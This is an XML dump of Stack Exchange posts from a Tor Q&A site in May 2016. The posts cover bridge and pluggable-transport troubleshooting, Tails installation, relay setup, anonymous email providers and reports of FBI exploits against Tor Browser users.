  <row Id="10461" PostTypeId="2" ParentId="10457" CreationDate="2016-05-15T13:49:07.900" Score="1" Body="&lt;p&gt;The checklist is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;pluggable transports: obfs3, obfs4, meek&lt;/li&gt;&#xA;&lt;li&gt;pre-seeding first on a working conection &lt;/li&gt;&#xA;&lt;li&gt;using no entry guards&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;post your logs, so I'll be able to help you further&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: So thats &quot;what is this, what it's for and how exactly can it help in your case&quot;: Grade-zero: a &lt;strong&gt;very&lt;/strong&gt; valuable addition to your question will be a tor run log, so it will be more clear &lt;em&gt;technically&lt;/em&gt; in details what's happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, it seems that a direct Tor protocol seems to be blocked and/or messed up by a network connection you're using(IPVanish, I presume. But there can be a MitM before/between your VPN). So the &quot;medicine&quot; here is a thing, &quot;that changes a Tor protocol from it's original way to look like something else&quot;. That's the exact definition and puropse of a pluggable transport. There are many of them, you can see a semi-full list on &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;an official website page about them&lt;/a&gt;. The ones I've mentioned are the most working ones: ObFS is a synonym/alias for &quot;obfuscation&quot; word, so there are some versions/generations of it, and I &lt;strong&gt;do&lt;/strong&gt; recommend you not to start from the latest one - obfs4 - but start from more common obfs3. If it still will not work - try Meek, that tries to mimic HTTPS in general. And also an endpoints for connecting to Tor network(=Guards/EntryGuards) can be banned on by-ip basis, so that's why I do recommend you to seed at working connection first - to obtain an offline copy of the &lt;em&gt;most actual&lt;/em&gt; state of the network, so some entries won't be banned. And even if they are - you can not to use them as a first hop, and try to pick any relay to be an entry point.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-05-15T19:21:22.217" LastActivityDate="2016-05-15T19:21:22.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10462" PostTypeId="1" CreationDate="2016-05-15T19:10:15.770" Score="1" ViewCount="77" Body="&lt;p&gt;I have problem with Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 Days before everything was ok  - with meek-google. Yesterday and today nothing... &quot; Tor failed to establish a Tor network connection....Establishing an encrypted directory connection failed (done - 0.0.2.0:1).&quot;&#xA;And report:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;15.5.2016 20:33:44.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;15.5.2016 20:33:44.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;15.5.2016 20:33:44.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;15.5.2016 20:33:44.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;15.5.2016 20:33:50.000 [NOTICE] Bootstrapped 5%: Connecting to directory server&#xA;15.5.2016 20:33:50.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server&#xA;15.5.2016 20:38:24.500 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 1; recommendation warn; host 46D4A71197B8FA515A826C6B017C522FE264655B at 0.0.2.0:1)&#xA;15.5.2016 20:38:24.500 [WARN] 1 connections have failed:&#xA;15.5.2016 20:38:24.500 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried all bridges and nothing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can be problem? How to solve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Communication is thru fortiguard. But before was working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&#xA;Pavel Tater&lt;/p&gt;&#xA;" OwnerUserId="12896" LastEditorUserId="88" LastEditDate="2016-05-17T07:22:47.657" LastActivityDate="2016-05-17T07:22:47.657" Title="Where can be problem? Tor failed to establish a Tor network connection" Tags="|help|bridge|" AnswerCount="0" CommentCount="1" ClosedDate="2016-06-15T06:49:14.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="10463" PostTypeId="2" ParentId="4552" CreationDate="2016-05-15T22:38:13.970" Score="2" Body="&lt;p&gt;StartMail, &lt;a href=&quot;https://www.startmail.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.startmail.com/&lt;/a&gt;&#xA;Cost: US$59.95 per year. StartMail never records and never saves your IP address. Your connection is via secure HTTPS encryption. StartMail has built-in PGP encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yandex Mail, &lt;a href=&quot;https://mail.yandex.com/&quot; rel=&quot;nofollow&quot;&gt;https://mail.yandex.com/&lt;/a&gt;&#xA;Cost: free. Your legal name, phone number, email address, and personal information not required to register an email account. If you use and configure Tor browser correctly, Yandex Mail cannot identify your IP address, you, or your computer. If you have PGP encryption software on your computer, you can encrypt your messages and attachments.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastActivityDate="2016-05-15T22:38:13.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10464" PostTypeId="1" CreationDate="2016-05-16T01:19:52.967" Score="1" ViewCount="61" Body="&lt;p&gt;With version 1, Tails was working fine. With the release of version 2, Tails stopped working fine. Previously, with Tails v1, after Tails Installer installed to the same USB disk I'm using today on the same iMac computer I'm using today, Tails successfully started from USB disk. However, Tails v2 fails to do the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously, after the Tails Installer installed v1.4 and each of the subsequent updates v1.5, v1.6, v1.7 and v1.8 to the same USB disk I'm using today on the same iMac computer I'm using today, Tails successfully started from the USB disk without any problems. The problem began with the release of Tails v2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails v2 will start from USB disk only after manual installation of Tails to the USB disk. If the Tails Installer installs to the USB disk, Tails fails to start successfully from the USB disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is for Tails v2.3 to start successfully from the USB disk after the Tails Installer installs to the USB disk because of course a user cannot open and configure a Tails ▸ Applications ▸ &lt;a href=&quot;https://tails.boum.org/doc/first_steps/persistence/use/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Persistence volume&lt;/a&gt; unless Tails starts from a USB disk on which Tails Installer has done the Tails installation.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastEditorUserId="12897" LastEditDate="2016-05-16T14:05:28.153" LastActivityDate="2016-05-16T14:05:28.153" Title="What issue prevents Tails 2.3 starting from USB disk on iMac after Tails Installer installs to USB disk?" Tags="|tails|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10465" PostTypeId="1" AcceptedAnswerId="10466" CreationDate="2016-05-16T03:12:53.237" Score="2" ViewCount="730" Body="&lt;p&gt;Today I got an idea, that I have multiple (5) computers, which I can have running all the time, so why not to make them all relays, right? Well for one, I have limited connection (50mbit up/down). So I guess I would surely lose my Guard status, if I ran those 5 computers on that line. Is there any reasoning as to why would I consider it?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;server with Xeon 4/4 3.2GHz&lt;/li&gt;&#xA;&lt;li&gt;desktop with i7 4/8 2.4GHz&lt;/li&gt;&#xA;&lt;li&gt;desktop with i7 2/4 2.6GHz&lt;/li&gt;&#xA;&lt;li&gt;desktop generally slow, I don't know the exact CPU&lt;/li&gt;&#xA;&lt;li&gt;desktop generally very slow, I don't know the exact CPU&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am currently running a relay on the server. With regard to the CPU speed, which I don't really think is the limit, nonetheless, if I had those first 3 computers running all the time as relays, is that a good idea for some reason than having all bandwidth used by the server?&lt;/p&gt;&#xA;" OwnerUserId="12763" LastActivityDate="2016-05-16T04:14:24.763" Title="Multiple Tor relays vs one bigger relay on one connection" Tags="|relays|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10466" PostTypeId="2" ParentId="10465" CreationDate="2016-05-16T03:54:21.490" Score="3" Body="&lt;p&gt;You can only run two relays per IP address (as I understand it, anything published after that will overwrite one of the older ones).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/org/projects/Tor/MultithreadedCrypto&quot; rel=&quot;nofollow&quot;&gt;Tor doesn't currently handle multithreading crypto operations&lt;/a&gt;, as such it's semi-common practice for some operators to run two tor instances on one server in cases where the CPU throughput isn't sufficient to saturate the available bandwidth, each tor instance would utilise one CPU core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you'd need to see if a single core running tor is sufficient to use up the bandwidth you wish to provide to the network (AESNI?) and if not you might consider running a second tor instance or a relay on a second device. Running on 5 systems would require you to have 3 distinct IP addresses to operate the relays from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you chose the multiple relays path you should look at setting up a &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#MyFamily&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;MyFamily&lt;/code&gt;&lt;/a&gt; directive in your torrc to explicitly state that all the relays belong together.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-05-16T04:14:24.763" LastActivityDate="2016-05-16T04:14:24.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10471" PostTypeId="1" CreationDate="2016-05-16T11:02:02.407" Score="0" ViewCount="162" Body="&lt;p&gt;I have stumbled upon certain articles that state that imply that Tor no longer safe. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &#xA;&lt;a href=&quot;http://thehackernews.com/2016/05/fbi-tor-firefox.html&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; article and &lt;a href=&quot;http://thehackernews.com/2016/02/tor-hack.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; and even &lt;a href=&quot;https://blog.mozilla.org/blog/2016/05/11/advanced-disclosure-needed-to-keep-users-secure/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; post by Mozilla imply that there is some backdoor known by the governments to reveal the IP addresses of TOR users. If there is a backdoor, we cannot believe it may at this point is only known by the governments. And if this is true, I also have a question as to why it is not mentioned in the Tor official website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would first like to know if this case is true or false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this statements are true, is there any advice that can be offered to safeguard our privacy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a user who loves Tor. I have meant no disrespect to the Tor project in this post. &lt;/p&gt;&#xA;" OwnerUserId="4990" LastActivityDate="2016-05-17T02:23:08.937" Title="Latest scandals about Tor" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10473" PostTypeId="2" ParentId="10471" CreationDate="2016-05-16T13:23:15.997" Score="2" Body="&lt;p&gt;No technology is 100% secure, and the FBI and Carnegie Mellon University are not 100% capable. A smart Tor user who configures and uses Tor properly can remain anonymous. The FBI and other parties are able to identify some Tor users because some Tor users leave their calling cards on the Internet for anyone to read if anyone bothers to look for the calling cards. For example: the FBI was able to identify and locate Ross William Ulbricht, a.k.a. Dread Pirate Roberts, a founder of the Silk Road web site, because Ulbricht sent unencrypted messages over the Internet that contained personal information that identified him. The FBI did not locate Ulbricht because of any weakness in Tor. Ulbricht revealed personal information about himself on different web sites. On one site, the Bitcoin Talk online forum, Ulbricht posted his personal email address rossulbricht@gmail.com. The FBI read Ulbricht's email address in the Bitcoin Talk online forum. The FBI went to Google with a search warrant. The FBI obtained Ulbricht's home address from the personal information in Ulbricht's Gmail account, which led the FBI directly to Ulbricht and his arrest.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SEALED COMPLAINT  &#xA;UNITED STATES OF AMERICA  &#xA;    - V. -  &#xA;ROSS WILLIAM ULBRICHT&#xA;Defendant  &#xA;SOUTHERN DISTRICT OF NEW YORK  &#xA;27th day of September 2013  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An FBI agent prepared the &lt;a href=&quot;https://www.scribd.com/doc/172764080/Ulbricht-Criminal-Complaint&quot; rel=&quot;nofollow&quot;&gt;criminal complaint&lt;/a&gt;. The FBI agent describes in plain language in Section 39, Page 26, how he found Ulbricht's personal email mail address on the BitcoinTalk online forum.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastEditorUserId="12897" LastEditDate="2016-05-16T14:26:20.990" LastActivityDate="2016-05-16T14:26:20.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10475" PostTypeId="1" AcceptedAnswerId="10476" CreationDate="2016-05-16T16:42:24.450" Score="1" ViewCount="21" Body="&lt;p&gt;On debian-based systems, the tor logging directory has the permissions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ls -ald /var/log/tor/&#xA;drwxr-s--- ... /var/log/tor/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is this so? Is this a security vulnerability?&lt;/p&gt;&#xA;" OwnerUserId="9411" LastActivityDate="2016-05-16T16:42:24.450" Title="Why the set_gid bit in /var/log/tor/?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10476" PostTypeId="2" ParentId="10475" CreationDate="2016-05-16T16:42:24.450" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;https://en.wikipedia.org/wiki/Setgid#setuid_and_setgid_on_directories&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;, setting the set_gid bit on directories has a different meaning than with files:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Setting the &lt;code&gt;setgid&lt;/code&gt; permission on a directory (&quot;&lt;code&gt;chmod g+s&lt;/code&gt;&quot;) causes new&#xA;  files and subdirectories created within it to &lt;strong&gt;inherit its group ID&lt;/strong&gt;,&#xA;  rather than the primary group ID of the user who created the file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From this, it seems as though it is intended and ok.&lt;/p&gt;&#xA;" OwnerUserId="9411" LastActivityDate="2016-05-16T16:42:24.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10477" PostTypeId="2" ParentId="10471" CreationDate="2016-05-16T23:40:23.853" Score="1" Body="&lt;p&gt;If there was a &quot;backdoor&quot; it would hardly be mentioned on the website, that's ridiculous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was (possibly) a firefox exploit, &lt;a href=&quot;https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox-esr/&quot; rel=&quot;nofollow&quot;&gt;these aren't very uncommon&lt;/a&gt; and this is why you should run up to date software. Browsers are large, complex code bases that try to open every type of file imaginable, they have a huge attack surface. Regardless, we have yet to see any evidence that the FBI (or similar LEA) has ever deployed an exploit against what was the latest tor browser at the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All previous examples, except for &lt;a href=&quot;https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack&quot; rel=&quot;nofollow&quot;&gt;CMU's traffic confirmation attack&lt;/a&gt; relied on users &lt;a href=&quot;https://www.wired.com/2014/12/fbi-metasploit-tor/&quot; rel=&quot;nofollow&quot;&gt;enabling flash&lt;/a&gt; or running &lt;a href=&quot;http://blog.owenson.me/analysis-of-the-fbi-tor-malware/&quot; rel=&quot;nofollow&quot;&gt;out of date software&lt;/a&gt; that had known vulnerabilities in it. This means that users were either ignoring warnings about updates, using their own software or disabling things put in place to protect them from exactly the kind of thing that stung them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The FBIs own numbers don't add up, they probably have &lt;em&gt;some&lt;/em&gt; exploit, but given their claims of the size of the user base of the forums and the number of people they managed to exploit (a tiny fraction of that user base), it seems unlikely that there is a backdoor or even a currently useful exploit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't mean that it's impossible to exploit firefox or tor. You should of course take reasonable precautions. These would involve steps like isolating your client application by using sandboxing (VMs, namespaces, containers, seccomp, ...) and access control mechanisms (apparmor, RBAC, ...) to limit the capabilities of tor, firefox, or any other clients you have that might present an &quot;attack surface&quot;, this reduces the impact of any such exploit and potentially stops it dead and importantly increases the risk that the exploit will be spotted. Further more, use of the &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-45-released#Security&quot; rel=&quot;nofollow&quot;&gt;Tor Browser's Security Slider&lt;/a&gt; will disable large portions of the potential attack surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secure operating system projects like &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;, &lt;a href=&quot;https://www.qubes-os.org/&quot; rel=&quot;nofollow&quot;&gt;Qubes&lt;/a&gt;, &lt;a href=&quot;https://subgraph.com/sgos/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Subgraph &lt;em&gt;(Alpha)&lt;/em&gt;&lt;/a&gt;, and &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow&quot;&gt;Whonix&lt;/a&gt; all attempt to provide some of these features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The FBI are currently taking extreme measures to ensure that the do not have to reveal their NIT software and it's deployment mechanism. Their &quot;magneto&quot; exploit was captured, analyzed and reverse engineered. We have a good understanding of what it is and how it operated and more importantly, from the perspective of the FBI, it's limitations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/COINTELPRO&quot; rel=&quot;nofollow&quot;&gt;The FBI has a long history of using misdirection, lies, intimidation and assassination&lt;/a&gt; to discourage political dissent and I'd be careful about believing what &lt;a href=&quot;https://en.wikipedia.org/wiki/Operation_Onymous&quot; rel=&quot;nofollow&quot;&gt;their press statements say or journalists parrot &lt;em&gt;(414 becomes 27?)&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit: Add more politics, correct some typos, add more references.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-05-17T02:23:08.937" LastActivityDate="2016-05-17T02:23:08.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10478" PostTypeId="1" CreationDate="2016-05-17T06:30:44.127" Score="0" ViewCount="23" Body="&lt;p&gt;I've learned that it is possible to specify the Entry node and Exit node in &quot;torrc&quot;. However, I do not know how to specify the intermediate node. Is there a way to specify an intermediate node in &quot;torrc&quot;? How do I set if any?&lt;/p&gt;&#xA;" OwnerUserId="12511" LastActivityDate="2016-05-17T09:37:49.240" Title="Specified node in &quot;torrc&quot;" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-05-17T11:04:57.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="10480" PostTypeId="2" ParentId="9752" CreationDate="2016-05-17T07:25:40.650" Score="0" Body="&lt;p&gt;I can think of 2 relatively easy methods to send an anonymous email. Be careful to not abuse the first method, otherwise, the service provider might decide to restrict or block global access to the service permanently. Use prudence and good judgement when sending anonymous emails. In most jurisdictions, it is a serious crime to send emails that threaten, harass, or contain illegal content. It is easy to inadvertently leave tell-tale clues in the Subject line or message body that could give away your identity. A combination of unique elements such as type of language, grammar, font, etc. have the potential to trace back to you.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Configure Tor browser ▸ Privacy and Security Settings ▸ Tor Network Settings to the highest level. In Tor browser ▸ Network Settings ▸ Enter custom bridges. Consider using the most obfuscated (most secure) type of custom &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow&quot;&gt;bridge&lt;/a&gt; address, &lt;a href=&quot;https://bridges.torproject.org/options&quot; rel=&quot;nofollow&quot;&gt;obfs4&lt;/a&gt;. (The only other type of bridge address that might be more secure is a private obfuscated bridge address that a trusted friend gives to you, but not to the public, after your friend sets up a &lt;a href=&quot;https://www.torproject.org/projects/obfsproxy-debian-instructions.html.en&quot; rel=&quot;nofollow&quot;&gt;private Tor bridge relay&lt;/a&gt;.)    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Tor browser to connect to &lt;a href=&quot;https://www.startmail.com/&quot; rel=&quot;nofollow&quot;&gt;StartMail&lt;/a&gt;. Open a free 7-day trial account. Your name, phone number, email address, or other personally identifying information are not required to open the account. Configure your preferred user account settings. Send your anonymous email. The only sender IP address that will appear in the full email header will be the IP address of the StartMail email server. The email header will not include your IP address, your name, your country location, or any other personally identifying information about you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Tor browser, connect to &lt;a href=&quot;https://mail.yandex.com/&quot; rel=&quot;nofollow&quot;&gt;Yandex mail&lt;/a&gt;. Open an email account. Your name, phone number, email address, or other personally identifying information are not required to open the account. Configure your preferred user account settings. Send your anonymous email. The only sender IP address that will appear in the full email header will be the IP address of the Yandex email server. The email header will not include your IP address, your name, your country location, or any other personally identifying information about you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The email service providers will be unable to log or record your IP address if you are using the Tor browser with the highest Privacy and Security Settings and an obfuscated bridge address.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In contrast to the &lt;a href=&quot;https://www.startmail.com/&quot; rel=&quot;nofollow&quot;&gt;StartMail&lt;/a&gt; free 7-day trial account, a personal paid subscription to &lt;a href=&quot;https://www.startmail.com/&quot; rel=&quot;nofollow&quot;&gt;StartMail&lt;/a&gt; email service does not provide 100% anonymity, although, to the best of my knowledge, it does provide the highest level of anonymity and privacy from a commercial email service provider that includes a built-in option to send and receive PGP encrypted emails. Additionally, StartMail &lt;a href=&quot;https://www.startmail.com/privacy&quot; rel=&quot;nofollow&quot;&gt;headquarters&lt;/a&gt; are in the Netherlands, &lt;a href=&quot;https://s9-eu5.startpage.com/eng/privacy-policy.html?&quot; rel=&quot;nofollow&quot;&gt;beyond the legal jurisdiction&lt;/a&gt; of any foreign governments. See StartMail &lt;a href=&quot;https://www.startmail.com/privacy&quot; rel=&quot;nofollow&quot;&gt;Policies&lt;/a&gt;, &lt;a href=&quot;https://www.startmail.com/documents/whitepaper/whitepaper.en_US.pdf&quot; rel=&quot;nofollow&quot;&gt;Technology&lt;/a&gt;, and &lt;a href=&quot;https://www.startmail.com/privacy&quot; rel=&quot;nofollow&quot;&gt;Privacy&lt;/a&gt; statements for a better understanding of the practices and methods that StartMail uses to protect a user's personal information, privacy, and anonymity, including &lt;a href=&quot;https://www.startmail.com/privacy&quot; rel=&quot;nofollow&quot;&gt;guaranteed no tracking or advertising&lt;/a&gt; and regular &lt;a href=&quot;https://www.startmail.com/privacy&quot; rel=&quot;nofollow&quot;&gt;automatic deletion&lt;/a&gt; of some of the users' personal information within hours after the &lt;a href=&quot;https://www.startmail.com/privacy&quot; rel=&quot;nofollow&quot;&gt;session ends&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: the following info about the sister Internet search engines &lt;a href=&quot;https://s9-eu5.startpage.com/&quot; rel=&quot;nofollow&quot;&gt;StartPage&lt;/a&gt; and &lt;a href=&quot;https://eu.ixquick.com/&quot; rel=&quot;nofollow&quot;&gt;Ixquick&lt;/a&gt; does not relate directly to sending an anonymous email, but since &lt;a href=&quot;https://www.startmail.com/&quot; rel=&quot;nofollow&quot;&gt;StartMail&lt;/a&gt;, &lt;a href=&quot;https://s9-eu5.startpage.com/&quot; rel=&quot;nofollow&quot;&gt;StartPage&lt;/a&gt; and &lt;a href=&quot;https://eu.ixquick.com/&quot; rel=&quot;nofollow&quot;&gt;Ixquick&lt;/a&gt; are members of of the same parent organization, &lt;a href=&quot;https://s9-eu5.startpage.com/eng/privacy-policy.html?&quot; rel=&quot;nofollow&quot;&gt;Surfboard Holding BV&lt;/a&gt;, Zeist, The Netherlands, it might be worth noting this info because it relates directly to Internet anonymity and privacy. The &lt;a href=&quot;https://s9-eu5.startpage.com/&quot; rel=&quot;nofollow&quot;&gt;StartPage&lt;/a&gt; and &lt;a href=&quot;https://eu.ixquick.com/&quot; rel=&quot;nofollow&quot;&gt;Ixquick&lt;/a&gt; Internet search engines provide superior anonymity and privacy, especially if you connect to the sites with the Tor browser. The servers use advanced &lt;a href=&quot;https://www.startpage.com/eng/about-startpage-ssl.html&quot; rel=&quot;nofollow&quot;&gt;SSL encryption&lt;/a&gt; for all Internet connections to the servers. The servers provide all users the &lt;a href=&quot;https://www.ixquick.com/proxy/eng/help.html?hmb=1&quot; rel=&quot;nofollow&quot;&gt;option&lt;/a&gt; to establish a free, instantaneous, and &lt;a href=&quot;https://s9-eu5.startpage.com/eng/protect-privacy-qa.html?#q16&quot; rel=&quot;nofollow&quot;&gt;certified anonymous&lt;/a&gt; &lt;a href=&quot;https://s9-eu5.startpage.com/eng/protect-privacy-qa.html?#q13&quot; rel=&quot;nofollow&quot;&gt;proxy&lt;/a&gt; Internet connection with the server of any web site in the Internet search results. The servers &lt;a href=&quot;https://s9-eu5.startpage.com/eng/what-makes-startpage-special.html?&quot; rel=&quot;nofollow&quot;&gt;do not collect or share&lt;/a&gt; any personal information. The servers do not log &lt;a href=&quot;https://s9-eu5.startpage.com/eng/protect-privacy-qa.html?#q5&quot; rel=&quot;nofollow&quot;&gt;legitimate&lt;/a&gt; users' &lt;a href=&quot;https://s9-eu5.startpage.com/eng/protect-privacy-qa.html?#q3&quot; rel=&quot;nofollow&quot;&gt;IP addresses&lt;/a&gt;, and do not record or save users' Internet &lt;a href=&quot;https://s9-eu5.startpage.com/eng/protect-privacy-qa.html?#q5&quot; rel=&quot;nofollow&quot;&gt;search activities or search results&lt;/a&gt;. The search engines use the so-called &lt;a href=&quot;https://s9-eu5.startpage.com/eng/protect-privacy-qa.html?#q17&quot; rel=&quot;nofollow&quot;&gt;POST&lt;/a&gt; method (instead of the GET method) to keep your search terms out of the logs of webmasters of sites that you reach from the search results. &lt;a href=&quot;https://eu.ixquick.com/do/preferences?language=english&amp;amp;language_ui=english&amp;amp;nj=0&quot; rel=&quot;nofollow&quot;&gt;Settings&lt;/a&gt; gives all users the option to save a user's preferred page settings without using a cookie. The &lt;a href=&quot;https://s9-eu5.startpage.com/&quot; rel=&quot;nofollow&quot;&gt;StartPage&lt;/a&gt; and &lt;a href=&quot;https://eu.ixquick.com/&quot; rel=&quot;nofollow&quot;&gt;Ixquick&lt;/a&gt; &lt;a href=&quot;https://s9-eu5.startpage.com/eng/protect-privacy-qa.html?#q20&quot; rel=&quot;nofollow&quot;&gt;server clusters&lt;/a&gt; are in the Netherlands, Singapore, and the United States. The URL of the &lt;a href=&quot;https://s9-eu5.startpage.com/eng/protect-privacy-qa.html?#q20&quot; rel=&quot;nofollow&quot;&gt;referenced servers&lt;/a&gt; herein contain the domain name &lt;a href=&quot;https://en.wikipedia.org/wiki/.eu&quot; rel=&quot;nofollow&quot;&gt;.eu&lt;/a&gt;, which designates the servers are in the the European Union, and, in this instance, in the Netherlands &lt;a href=&quot;https://s9-eu5.startpage.com/eng/privacy-policy.html?&quot; rel=&quot;nofollow&quot;&gt;beyond the legal jurisdiction&lt;/a&gt; of the NSA and any other foreign government agencies. For a better understanding of the practices and polices of &lt;a href=&quot;https://s9-eu5.startpage.com/&quot; rel=&quot;nofollow&quot;&gt;StartPage&lt;/a&gt; and &lt;a href=&quot;https://eu.ixquick.com/&quot; rel=&quot;nofollow&quot;&gt;Ixquick&lt;/a&gt; regarding anonymity and privacy, see &lt;a href=&quot;https://eu.ixquick.com/eng/protect-privacy.html?&quot; rel=&quot;nofollow&quot;&gt;StartPage Protects Your Privacy!&lt;/a&gt;, &lt;a href=&quot;https://eu.ixquick.com/eng/protect-privacy-qa.html?&quot; rel=&quot;nofollow&quot;&gt;Privacy Q&amp;amp;A&lt;/a&gt;, and &lt;a href=&quot;https://eu.ixquick.com/eng/privacy-policy.html?&quot; rel=&quot;nofollow&quot;&gt;Our privacy policy&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="12897" LastEditorUserId="12897" LastEditDate="2016-05-19T06:09:57.900" LastActivityDate="2016-05-19T06:09:57.900" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10481" PostTypeId="2" ParentId="9752" CreationDate="2016-05-17T09:12:05.690" Score="0" Body="&lt;p&gt;Yes, this will work. No they will not know your true location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you should be careful about the content of your email, even if you use tor. If your actions clearly influence or relate to you or a small group of individuals you belong to then tor cannot protect you against people joining the dots and leaving you on a small list of possible candidates.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-17T09:12:05.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
